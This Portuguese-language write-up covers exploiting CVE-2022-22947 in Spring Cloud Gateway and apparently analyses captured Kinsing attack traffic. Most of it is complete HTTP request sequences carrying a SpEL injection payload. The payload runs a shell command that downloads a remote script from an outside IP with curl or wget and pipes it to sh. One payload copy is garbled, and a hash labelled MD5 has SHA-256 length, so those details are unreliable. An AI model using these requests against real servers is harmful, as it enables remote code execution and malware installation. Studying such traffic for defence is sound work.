
Análise detalhada e guia de exploração da CVE-2022-22947, uma vulnerabilidade de injeção SpEL no Spring Cloud Gateway que leva a RCE, incluindo análise de PCAP e investigação do malware Kinsing.
CVE-2022-22947 (Spring-Cloud-Gateway) No primeiro trimestre de 2022, foi descoberta uma vulnerabilidade interessante e crítica (pontuação base de 10.0) de injeção de código no Spring Cloud Gateway, aproveitando a API Actuator para realizar injeção SpEL, potencialmente levando ao comprometimento do sistema. Versões do Spring Cloud Gateway anteriores a 3.1.1+ e 3.0.7+ No Spring Cloud Gateway, as aplicações são vulneráveis a um ataque de injeção de código SE: O endpoint Actuator do Gateway estiver ativado, exposto e não seguro.

POST /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 372
{"id": "BuOHOGeywH", "filters": [{"name": "AddResponseHeader", "args": {"name": "Result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}], "uri": "http://example.com", "order": 0}
RESPOSTA:
HTTP/1.1 201 Created Location: /routes/xwpdsdeb content-length: 0
COMO PODEMOS VER NO ARQUIVO JSON, ESTAMOS OBTENDO O VALOR DO CABEÇALHO DE RESPOSTA AO EXECUTAR ESTA EXPRESSÃO
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}]
E PODEMOS VER NO MÉTODO exec() que há um comando composto para execução remota de código.
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0
RESPOSTA:
HTTP/1.1 200 OK
GET /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
RESPOSTA:
HTTP/1.1 200 OK
Content-Type: application/json
Date: Wed, 27 Dec 2023 09:45:00 UTC
Content-Length: 202
{"predicate": "RouteDefinitionRouteLocator$$Lambda$1046/0x0000000840610840", "route_id": "xwpdsdeb", "filters": ["[[AddResponseHeader Result = ''], order = 1]"], "uri": "10.0.2.15/xwpdsdeb", "order": 0}
RESPOSTA 200 OK INDICA QUE O COMANDO RCE FOI EXECUTADO COM SUCESSO
DELETE /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0
RESPOSTA:
HTTP/1.1 200 OK CONNECTION: close
Date: Wed, 27 Dec 2023 09:45:01 UTC
Content-Length: 4855
HTTP 200 OK INDICOU QUE A ROTA FOI EXCLUÍDA COM SUCESSO
##SHELLCODE DECODIFICADO:
POST /actuator/gateway/routes/BuOHOGeywH HTTP/1.1
Host: 180.188.253.170:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Length: 411
Content-Type: application/json
Accept-Encoding: gzip
{
"id": "BuOHOGeywH",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 94.103.87.71/scg.sh||wget -q -O- 94.103.87.71/scg.sh)|sh\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
APÓS DECODIFICAR ESTE SHELLCODE, ENCONTREI UMA URL WGET DE UM SCRIPT. ENTÃO, BAIXEI MANUALMENTE ESSE SCRIPT E, APÓS ANALISAR ESSE SCRIPT, ENCONTREI UMA URL DE DOWNLOAD DO MALWARE KINSING

E DESSA URL, BAIXEI O MALWARE KINSING EM UM ARQUIVO ZIP PARA ANÁLISE ADICIONAL. DEPOIS DISSO, ANALISEI VALOR MD5=787e2c94e6d9ce5ec01f5cbe9ee2518431eca8523155526d6dc85934c9c5787c DESSE MALWARE E AQUI ESTÁ O QUE ENCONTREI

